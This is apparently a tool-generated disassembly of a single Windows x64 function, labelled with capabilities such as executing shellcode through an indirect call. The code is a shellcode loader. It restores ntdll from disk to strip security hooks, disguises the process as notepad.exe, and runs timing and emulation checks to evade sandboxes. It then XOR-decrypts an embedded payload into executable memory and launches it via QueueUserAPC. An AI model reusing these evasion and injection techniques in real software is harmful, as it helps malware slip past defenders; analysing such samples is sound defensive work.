Function at 0x140001450
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime
Read file via mapping

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x8a8
lea rbp, [rsp + 0x80]
movups xmmword [rbp + 0x810], xmm6
mov dword [rbp + 0x850], ecx
mov qword [rbp + 0x858], rdx
call fcn.140002a60
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x7a8], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x7a0], rax
mov ecx, 0xa68
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x798], rax
mov ecx, 0xa68
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x790], rax
mov dword [rbp + 0x80c], 0
jmp 0x14000156b
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2sd xmm6, edx
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2sd xmm1, edx
mov eax, dword [rbp + 0x80c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x798]
add rax, rdx
divsd xmm6, xmm1
movupd xmm0, xmm6
movsd qword [rax], xmm0
add dword [rbp + 0x80c], 1
cmp dword [rbp + 0x80c], 0x14c
jle 0x1400014e1
mov dword [rbp + 0x80c], 0
jmp 0x1400015d9
mov eax, dword [rbp + 0x80c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x798]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x80c]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x790]
lea rbx, [rcx + rdx]
movq xmm0, rax
call fcn.140003c80
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x80c], 1
cmp dword [rbp + 0x80c], 0x14c
jle 0x140001587
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x788], rax
mov dword [rbp + 0x808], 0xffffffff
mov ecx, 0x1d30
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x780], rax
add dword [rbp + 0x808], 1
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x1400065c0]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x808]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x780]
add rax, rdx
movsd xmm1, qword [0x1400065c8]
subsd xmm0, xmm1
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x808]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x780]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x808]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x780]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_acos
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x808], 0x3a4
jle 0x14000161a
lea rax, str.psapi.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x800], rax
cmp qword [rbp + 0x800], 0
jne 0x14000172d
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x800], rax
cmp qword [rbp + 0x800], 0
je 0x140001ce4
mov ecx, 0x3230
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x778], rax
mov ecx, 0x3230
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x770], rax
mov ecx, 0x3230
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x768], rax
mov dword [rbp + 0x7fc], 0
jmp 0x14000186f
mov dword [rbp + 0x7f8], 0
jmp 0x14000185b
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
mov ecx, edx
sar ecx, 6
cdq
sub ecx, edx
imul edx, ecx, 0x3e8
sub eax, edx
mov ecx, eax
mov eax, dword [rbp + 0x7fc]
movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
add rax, rax
add rax, rdx
shl rax, 4
mov rdx, rax
mov rax, qword [rbp + 0x778]
add rdx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, ecx
mov eax, dword [rbp + 0x7f8]
cdqe
movss dword [rdx + rax*4], xmm0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
mov ecx, edx
sar ecx, 6
cdq
sub ecx, edx
imul edx, ecx, 0x3e8
sub eax, edx
mov ecx, eax
mov eax, dword [rbp + 0x7fc]
movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
add rax, rax
add rax, rdx
shl rax, 4
mov rdx, rax
mov rax, qword [rbp + 0x770]
add rdx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, ecx
mov eax, dword [rbp + 0x7f8]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x7f8], 1
cmp dword [rbp + 0x7f8], 0x2b
jle 0x14000178c
add dword [rbp + 0x7fc], 1
cmp dword [rbp + 0x7fc], 0x48
jle 0x14000177d
mov dword [rbp + 0x7fc], 0
jmp 0x14000195e
mov dword [rbp + 0x7f8], 0
jmp 0x14000194a
mov eax, dword [rbp + 0x7fc]
movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
add rax, rax
add rax, rdx
shl rax, 4
mov rdx, rax
mov rax, qword [rbp + 0x778]
add rdx, rax
mov eax, dword [rbp + 0x7f8]
cdqe
movss xmm1, dword [rdx + rax*4]
mov eax, dword [rbp + 0x7fc]
movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
add rax, rax
add rax, rdx
shl rax, 4
mov rdx, rax
mov rax, qword [rbp + 0x770]
add rdx, rax
mov eax, dword [rbp + 0x7f8]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x7fc]
movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
add rax, rax
add rax, rdx
shl rax, 4
mov rdx, rax
mov rax, qword [rbp + 0x768]
add rdx, rax
mulss xmm0, xmm1
mov eax, dword [rbp + 0x7f8]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x7f8], 1
cmp dword [rbp + 0x7f8], 0x2b
jle 0x14000189a
add dword [rbp + 0x7fc], 1
cmp dword [rbp + 0x7fc], 0x48
jle 0x14000188b
mov rax, qword [rbp + 0x778]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x770]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x768]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x5d0]
mov rax, qword [rbp + 0x788]
mov r10, qword [rbp + 0x800]
mov r9d, 0x18
mov r8, rdx
mov rdx, rax
call r10
mov rax, qword [rbp + 0x5d0]
mov qword [rbp + 0x760], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, str.c:windows_system32_ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x758], rax
mov rax, qword [rbp + 0x758]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1000002
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call rax
mov qword [rbp + 0x750], rax
mov rax, qword [rbp + 0x750]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MapViewOfFile]
call rax
mov qword [rbp + 0x748], rax
mov rax, qword [rbp + 0x760]
mov qword [rbp + 0x740], rax
mov rax, qword [rbp + 0x740]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x760]
add rax, rdx
mov qword [rbp + 0x738], rax
mov word [rbp + 0x7f6], 0
jmp 0x140001ccc
mov rax, qword [rbp + 0x738]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x738]
lea rcx, [rdx + rax]
movzx edx, word [rbp + 0x7f6]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp + 0x730], rax
mov rax, qword [rbp + 0x730]
lea rdx, str..text
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x140001cbb
mov dword [rbp + 0x598], 0
mov rax, qword [rbp + 0x730]
mov eax, dword [rax + 8]
mov edx, eax
mov rax, qword [rbp + 0x730]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x760]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x598]
mov r9, rax
mov r8d, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov dword [rbp + 0x7ec], 0
mov dword [rbp + 0x72c], 0
mov ecx, 0x9b4
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x720], rax
mov dword [rbp + 0x7f0], 0
jmp 0x140001c13
call sub.msvcrt.dll_rand
mov ecx, eax
mov eax, dword [rbp + 0x7f0]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x720]
lea r8, [rdx + rax]
movsxd rax, ecx
imul rax, rax, 0x51eb851f
shr rax, 0x20
mov edx, eax
sar edx, 3
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
shl eax, 2
add eax, edx
lea edx, [rax*4]
add eax, edx
sub ecx, eax
mov edx, ecx
mov dword [r8], edx
mov eax, dword [rbp + 0x7f0]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x720]
add rax, rdx
mov eax, dword [rax]
add dword [rbp + 0x7ec], eax
add dword [rbp + 0x7f0], 1
cmp dword [rbp + 0x7f0], 0x26c
jle 0x140001b97
mov rax, qword [rbp + 0x720]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x730]
mov eax, dword [rax + 8]
mov r8d, eax
mov rax, qword [rbp + 0x730]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x748]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x730]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x760]
add rax, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov edx, dword [rbp + 0x598]
mov rax, qword [rbp + 0x730]
mov eax, dword [rax + 8]
mov r10d, eax
mov rax, qword [rbp + 0x730]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x760]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x598]
mov r9, rax
mov r8d, edx
mov rdx, r10
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
movzx eax, word [rbp + 0x7f6]
add eax, 1
mov word [rbp + 0x7f6], ax
mov rax, qword [rbp + 0x738]
movzx eax, word [rax + 6]
cmp word [rbp + 0x7f6], ax
jb 0x140001ac4
mov dword [rbp + 0x7e4], 0x1fe
mov dword [rbp + 0x7e8], 0x1fe
jmp 0x140001d08
sub dword [rbp + 0x7e4], 1
sub dword [rbp + 0x7e8], 1
cmp dword [rbp + 0x7e8], 0x20
jg 0x140001cfa
mov dword [rbp + 0x59c], 0
mov rax, qword [rbp + 0x7a8]
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x718], rax
mov dword [rbp + 0x7e0], 0xffffffff
add dword [rbp + 0x7e0], 1
call sub.msvcrt.dll_rand
imul eax, eax, 0x37b
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x1400065c0]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call fcn.140003f00
movq rax, xmm0
mov qword [rbp + 0x710], rax
cmp dword [rbp + 0x7e0], 0x146
jle 0x140001d46
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x5a0]
lea rax, [rbp + 0x59c]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp + 0x718]
mov r9d, 0x30
mov r8, rdx
mov edx, 0
call rax
mov rax, qword [rbp + 0x5a8]
add rax, 0x3c
mov qword [rbp + 0x708], rax
mov rax, qword [rbp + 0x708]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x78], rdx
mov rax, qword [rbp + 0x708]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x68], rdx
mov qword [rbp + 0x700], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6f8], rax
mov rax, qword [rbp + 0x6f8]
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x1e2a680
mov ecx, 0
call rax
mov qword [rbp + 0x700], rax
cmp qword [rbp + 0x700], 0
je 0x140002993
mov rax, qword [rbp + 0x700]
mov edx, 0x1e2a680
mov rcx, rax
call fcn.140004cc0
mov rax, qword [rbp + 0x700]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x6f0], rax
cmp qword [rbp + 0x6f0], 0
jne 0x140002993
mov qword [rbp + 0x7d8], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x6e8], rax
cmp qword [rbp + 0x6e8], 0
je 0x140001f5b
mov rax, qword [rbp + 0x6e8]
lea rdx, str.VirtualAllocExNuma
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6e0], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x6e0]
mov r9d, 0x3000
mov r8d, 0x351
mov edx, 0
call rax
mov qword [rbp + 0x7d8], rax
cmp qword [rbp + 0x7d8], 0
je 0x140002993
mov dword [rbp + 0x6dc], 0x328
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6d0], rax
mov rax, qword [rbp + 0x6d0]
call rax
mov dword [rbp + 0x6cc], eax
mov eax, dword [rbp + 0x6dc]
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_SleepEx]
call rax
mov rax, qword [rbp + 0x6d0]
call rax
mov dword [rbp + 0x6c8], eax
mov eax, dword [rbp + 0x6c8]
sub eax, dword [rbp + 0x6cc]
cmp eax, 0x2f6
jbe 0x140002993
mov qword [rbp + 0x6c0], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAllocExNuma
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6b8], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x6b8]
mov r9d, 0x3000
mov r8d, 0x443
mov edx, 0
call rax
mov qword [rbp + 0x6c0], rax
cmp qword [rbp + 0x6c0], 0
je 0x140002993
mov dword [rbp + 0x6b4], 0x377
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6a8], rax
mov rax, qword [rbp + 0x6a8]
call rax
mov dword [rbp + 0x6a4], eax
mov eax, dword [rbp + 0x6b4]
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_SleepEx]
call rax
mov rax, qword [rbp + 0x6a8]
call rax
mov dword [rbp + 0x6a0], eax
mov eax, dword [rbp + 0x6a0]
sub eax, dword [rbp + 0x6a4]
cmp eax, 0x345
jbe 0x140002993
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.OpenProcess
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x698], rax
mov rax, qword [rbp + 0x698]
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
call rax
mov qword [rbp + 0x690], rax
cmp qword [rbp + 0x690], 0
jne 0x140002993
mov dword [rbp + 0x68c], 0x3ba
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x680], rax
mov rax, qword [rbp + 0x680]
call rax
mov dword [rbp + 0x67c], eax
mov eax, dword [rbp + 0x68c]
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_SleepEx]
call rax
mov rax, qword [rbp + 0x680]
call rax
mov dword [rbp + 0x678], eax
mov eax, dword [rbp + 0x678]
sub eax, dword [rbp + 0x67c]
cmp eax, 0x388
jbe 0x140002993
mov dword [rbp + 0x674], 0x24d
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.SleepEx
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x668], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x660], rax
mov rax, qword [rbp + 0x660]
call rax
mov dword [rbp + 0x65c], eax
mov eax, dword [rbp + 0x674]
mov r8, qword [rbp + 0x668]
mov edx, 0
mov ecx, eax
call r8
mov rax, qword [rbp + 0x660]
call rax
mov dword [rbp + 0x658], eax
mov eax, dword [rbp + 0x658]
sub eax, dword [rbp + 0x65c]
cmp eax, 0x21b
jbe 0x140002993
mov ecx, 0x68a
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
cmp eax, 0x68a
jne 0x140002993
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
lea rax, [rbp + 0x100]
lea rdx, [0x140006130]
mov ecx, 0x91
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rdx, rsi
mov rax, rdi
mov ecx, dword [rdx]
mov dword [rax], ecx
mov rax, qword [rbp + 0x7a0]
lea rdx, str.HeapCreate
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x650], rax
mov rax, qword [rbp + 0x7a0]
lea rdx, str.HeapAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x648], rax
mov rax, qword [rbp + 0x650]
mov r8d, 0
mov edx, 0x48b
mov ecx, 0x40000
call rax
mov qword [rbp + 0x640], rax
mov rax, qword [rbp + 0x640]
mov r9, qword [rbp + 0x648]
mov r8d, 0x48b
mov edx, 8
mov rcx, rax
call r9
mov qword [rbp + 0x638], rax
mov rax, qword [rbp + 0x7a8]
lea rdx, str.RtlMoveMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x630], rax
lea rdx, [rbp + 0x100]
mov rax, qword [rbp + 0x638]
mov r9, qword [rbp + 0x630]
mov r8d, 0x48b
mov rcx, rax
call r9
mov dword [rbp + 0x7d0], 0
mov dword [rbp + 0x7cc], 0
movabs rax, 0x23b6851800794521
movabs rdx, 0xe3234f45f305bcd9
mov qword [rbp + 0x80], rax
mov qword [rbp + 0x88], rdx
movabs rax, 0x469cd835b860e25f
movabs rdx, 0xf9f53bbbf2c20433
mov qword [rbp + 0x90], rax
mov qword [rbp + 0x98], rdx
movabs rax, 0x71ea0566827ecfa9
movabs rdx, 0x1e1ad2232e9ea7d3
mov qword [rbp + 0xa0], rax
mov qword [rbp + 0xa8], rdx
movabs rax, 0x747c3b77540e83c8
movabs rdx, 0x49a2461ac7e2b0f0
mov qword [rbp + 0xb0], rax
mov qword [rbp + 0xb8], rdx
movabs rax, 0x3695c21d020962ff
movabs rdx, 0x274445f675bd3beb
mov qword [rbp + 0xc0], rax
mov qword [rbp + 0xc8], rdx
movabs rax, 0x7f48d0cb5a1dfc4e
movabs rdx, 0xaea3f855b9708ba8
mov qword [rbp + 0xd0], rax
mov qword [rbp + 0xd8], rdx
movabs rax, 0xebe8f66b891977a2
movabs rdx, 0x3377634165c12147
mov qword [rbp + 0xe0], rax
mov qword [rbp + 0xe8], rdx
movabs rax, 0x351618685e563377
movabs rdx, 0x18369344003037
mov qword [rbp + 0xee], rax
mov qword [rbp + 0xf6], rdx
movabs rax, 0xb3292f2197fc3907
movabs rdx, 0xc3780eddda10852c
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x28], rdx
movabs rax, 0x64609b451406884b
movabs rdx, 0xe432361a63f292b9
mov qword [rbp + 0x30], rax
mov qword [rbp + 0x38], rdx
movabs rax, 0x704b6e2fcec16cab
movabs rdx, 0x1fe6c32c4cbb4625
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x48], rdx
movabs rax, 0xc6272f18f9b75b7d
movabs rdx, 0x702454b2905d1692
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x58], rdx
movabs rax, 0xad23d3c78a1d0b48
movabs rdx, 0x2919604440b5cc73
mov qword [rbp + 0x60], rax
mov qword [rbp + 0x68], rdx
movabs rax, 0xe18b3dea6328a5
mov qword [rbp + 0x70], rax
mov dword [rbp + 0x7d4], 0
jmp 0x140002765
mov eax, dword [rbp + 0x7d4]
cdqe
movzx edx, byte [rbp + rax + 0x20]
mov eax, dword [rbp + 0x7d0]
cdqe
movzx eax, byte [rbp + rax + 0x80]
xor edx, eax
mov eax, dword [rbp + 0x7d4]
cdqe
mov byte [rbp + rax - 0x40], dl
cmp dword [rbp + 0x7d0], 0x7c
jne 0x140002757
mov dword [rbp + 0x7c8], 0
jmp 0x140002645
call sub.msvcrt.dll_rand
mov edx, eax
movsxd rax, edx
imul rax, rax, 0x38e38e39
shr rax, 0x20
sar eax, 2
mov ecx, edx
sar ecx, 0x1f
sub eax, ecx
mov dword [rbp + 0x5fc], eax
mov ecx, dword [rbp + 0x5fc]
mov eax, ecx
shl eax, 3
add eax, ecx
add eax, eax
sub edx, eax
mov dword [rbp + 0x5fc], edx
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x1400065c0]
divsd xmm0, xmm1
movq rax, xmm0
mov edx, dword [rbp + 0x5fc]
movq xmm0, rax
call fcn.140003e30
movq rax, xmm0
mov qword [rbp + 0x5f0], rax
add dword [rbp + 0x7c8], 1
cmp dword [rbp + 0x7c8], 0xf2
jle 0x1400025c8
mov dword [rbp + 0x7d0], 0
mov ecx, 0xd44
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x608], rax
mov ecx, 0xd44
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x600], rax
mov dword [rbp + 0x7c0], 0x350
mov dword [rbp + 0x7c4], 0
jmp 0x140002727
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x7c4]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x608]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
mov eax, dword [rbp + 0x7c0]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x608]
add rax, rdx
mov edx, dword [rbp + 0x7c4]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x600]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
sub dword [rbp + 0x7c0], 1
add dword [rbp + 0x7c4], 1
cmp dword [rbp + 0x7c4], 0x350
jle 0x14000269a
mov rax, qword [rbp + 0x608]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x600]
mov rcx, rax
call sub.msvcrt.dll_free
jmp 0x14000275e
add dword [rbp + 0x7d0], 1
add dword [rbp + 0x7d4], 1
mov eax, dword [rbp + 0x7d4]
cmp eax, 0x56
jbe 0x140002584
mov dword [rbp + 0x7d4], 0
jmp 0x1400028a1
pxor xmm0, xmm0
movss dword [rbp + 0x7b8], xmm0
mov dword [rbp + 0x7bc], 0
jmp 0x140002814
pxor xmm1, xmm1
cvtsi2sd xmm1, dword [rbp + 0x7bc]
movsd xmm0, qword [0x1400065c8]
addsd xmm0, xmm1
cvtsd2ss xmm0, xmm0
movups xmm1, xmm0
mov eax, dword [0x1400065d0]
movd xmm0, eax
call fcn.140003a50
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
pxor xmm0, xmm0
cvtsi2sd xmm0, dword [rbp + 0x7bc]
addsd xmm0, xmm0
movsd xmm2, qword [0x1400065c8]
subsd xmm0, xmm2
divsd xmm1, xmm0
pxor xmm0, xmm0
cvtss2sd xmm0, dword [rbp + 0x7b8]
addsd xmm0, xmm1
cvtsd2ss xmm0, xmm0
movss dword [rbp + 0x7b8], xmm0
add dword [rbp + 0x7bc], 1
cmp dword [rbp + 0x7bc], 0x2b4
jle 0x14000279b
movss xmm1, dword [rbp + 0x7b8]
movss xmm0, dword [0x1400065d4]
mulss xmm0, xmm1
movss dword [rbp + 0x7b8], xmm0
mov eax, dword [rbp + 0x7d4]
movsxd rdx, eax
mov rax, qword [rbp + 0x638]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x7cc]
cdqe
movzx ecx, byte [rbp + rax - 0x40]
mov eax, dword [rbp + 0x7d4]
movsxd rdx, eax
mov rax, qword [rbp + 0x638]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
cmp dword [rbp + 0x7cc], 0x56
jne 0x140002893
mov dword [rbp + 0x7cc], 0
jmp 0x14000289a
add dword [rbp + 0x7cc], 1
add dword [rbp + 0x7d4], 1
cmp dword [rbp + 0x7d4], 0x48a
jle 0x140002783
mov rax, qword [rbp + 0x638]
mov qword [rbp + 0x628], rax
mov rax, qword [rbp + 0x7a0]
lea rdx, str.QueueUserAPC
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x620], rax
mov rax, qword [rbp + 0x7a0]
lea rdx, str.SleepEx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x618], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThread]
call rax
mov rdx, rax
mov rax, qword [rbp + 0x628]
mov r9, qword [rbp + 0x620]
mov r8d, 0
mov rcx, rax
call r9
mov rax, qword [rbp + 0x618]
mov edx, 1
mov ecx, 0xffffffff
call rax
mov dword [rbp + 0x7b4], 0xffffffff
add dword [rbp + 0x7b4], 1
call sub.msvcrt.dll_rand
mov edx, eax
mov eax, edx
add eax, eax
add eax, edx
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x1400065c0]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call fcn.140003a70
